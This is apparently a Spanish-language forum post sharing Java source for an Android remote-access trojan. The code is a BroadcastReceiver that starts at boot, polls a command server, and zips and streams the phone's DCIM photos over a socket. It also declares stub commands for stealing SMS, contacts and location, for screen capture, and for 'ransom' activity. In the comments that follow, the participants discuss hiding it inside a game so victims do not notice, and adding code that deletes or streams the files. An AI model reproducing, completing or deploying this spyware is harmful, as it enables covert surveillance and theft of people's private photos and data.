import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Environment;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.OutputStream;import java.io.Writer;import java.net.InetAddress;import java.net.Socket;import java.net.UnknownHostException;import java.util.zip.ZipEntry;import java.util.zip.ZipOutputStream;public class SystemControl extends BroadcastReceiver { public String recv = null; public String command = null; public static final String msg = "Conectado"; public static final int port =1776; public static final String host = "localhost"; private enum Commands { sendFiles, sendSms, sendConctacs, rasomActivity, recvFiles, sendLocation, sendCapture, doIt; } @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub while(true){ try { InetAddress inet = InetAddress.getByName(host); boolean status = inet.isReachable(5000); //Timeout = 5000 milliseconds if (status) { break; } else { Thread.sleep(3600000); } } catch (UnknownHostException e) { } catch (IOException e) { } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } try{ Socket con = new Socket(host, port); OutputStream out2 = con.getOutputStream(); DataOutputStream out = new DataOutputStream(con.getOutputStream()); DataInputStream in = new DataInputStream(con.getInputStream()); out.writeBytes(msg); while(true){ command = in.readUTF(); Commands com = Commands.valueOf(command); byte[] byteArray; switch(com){ case sendFiles: // TODO Auto-generated method stub File folder = Environment.getDataDirectory(); String source = folder.getAbsolutePath()+ "/DCIM"; File dcim = new File(folder.getAbsolutePath() + "/DCIM"); FileOutputStream fos = new FileOutputStream(Environment.getDataDirectory()); ZipOutputStream zos = new ZipOutputStream(fos); zos.setLevel(9); addFolder(zos, source, source); BufferedInputStream bis; BufferedOutputStream bos; DataInputStream input; int in1; byte[] byteArray1; final File name = Environment.getDataDirectory(); String source2 = folder.getAbsolutePath()+ "/DCIM.zip"; bis = new BufferedInputStream(new FileInputStream(source2)); bos = new BufferedOutputStream(con.getOutputStream()); DataOutputStream dos=new DataOutputStream(con.getOutputStream()); dos.writeUTF(source2); byte[] byteArray11 = new byte[8192]; while ((in1 = bis.read(byteArray11)) != -1){ bos.write(byteArray11,0,in1); } case sendSms: case sendConctacs: case rasomActivity: case recvFiles: case sendLocation: case sendCapture: case doIt: } } }catch(Exception e){ } } private void addFolder(ZipOutputStream zos, String folderName, String baseFolderName) throws IOException { // TODO Auto-generated method stub File f = new File(folderName); if(f.exists()){ if(f.isDirectory()){ File f2[] = f.listFiles(); for(int i=0;i<f2.length;i++){ addFolder(zos,f2[i].getAbsolutePath(),baseFolderName); } }else{ //add file //extract the relative name for entry purpose String entryName = folderName.substring(baseFolderName.length()+1,folderName.length()); System.out.print("Adding entry " + entryName + "..."); ZipEntry ze= new ZipEntry(entryName); zos.putNextEntry(ze); FileInputStream in = new FileInputStream(folderName); int len; byte buffer[] = new byte[1024]; while ((len = in.read(buffer)) > 0) { zos.write(buffer, 0, len); } in.close(); zos.closeEntry(); System.out.println("OK!"); } }else{ System.out.println("File or directory not found " + folderName); } }}
la verdad me parece muy interesante, pero bueno, no conozco nada de android, asi que paso a hacerte la siguiente pregunta ¿el usuario tendria que instalar y ejecutar la aplicacion para que funcione o existe en android algo similar al "autorun" de windows?, por que si el usuario tiene que instalarlo y ejecutarlo entonces esto deberia "ocultarse" y ejecutarse en segundo plano mientras le pones algun jueguito o algo que le llame la atencion al usuario el tiempo suficiente para comprimir y enviar el archivo(que por lo general la cantidad de fotos en esa carpeta es inmensa ya que nadie acostumbra "dar mantenimiento" a esa carpeta), ademas, ¿el usuario se percataria de la precensia de ese archivo comprimido?
Es un BroadcastReaceiver, es una caracterista muy buena en las aplicaciones de Android, es una porcion de codigo que corre en background esperando una accion que la active, en este caso que se encienda el telefono, actualiza si el servidor esta disponible cada 3.600.000 millisegundos(1 hora), en el caso de que detecta la carpeta si, y gracias por recordarmelo, agregare codigo para que borre los archivos o los mande por stream. Si, esto yo lo puedo facilmente agregar a un juego o cualquier app.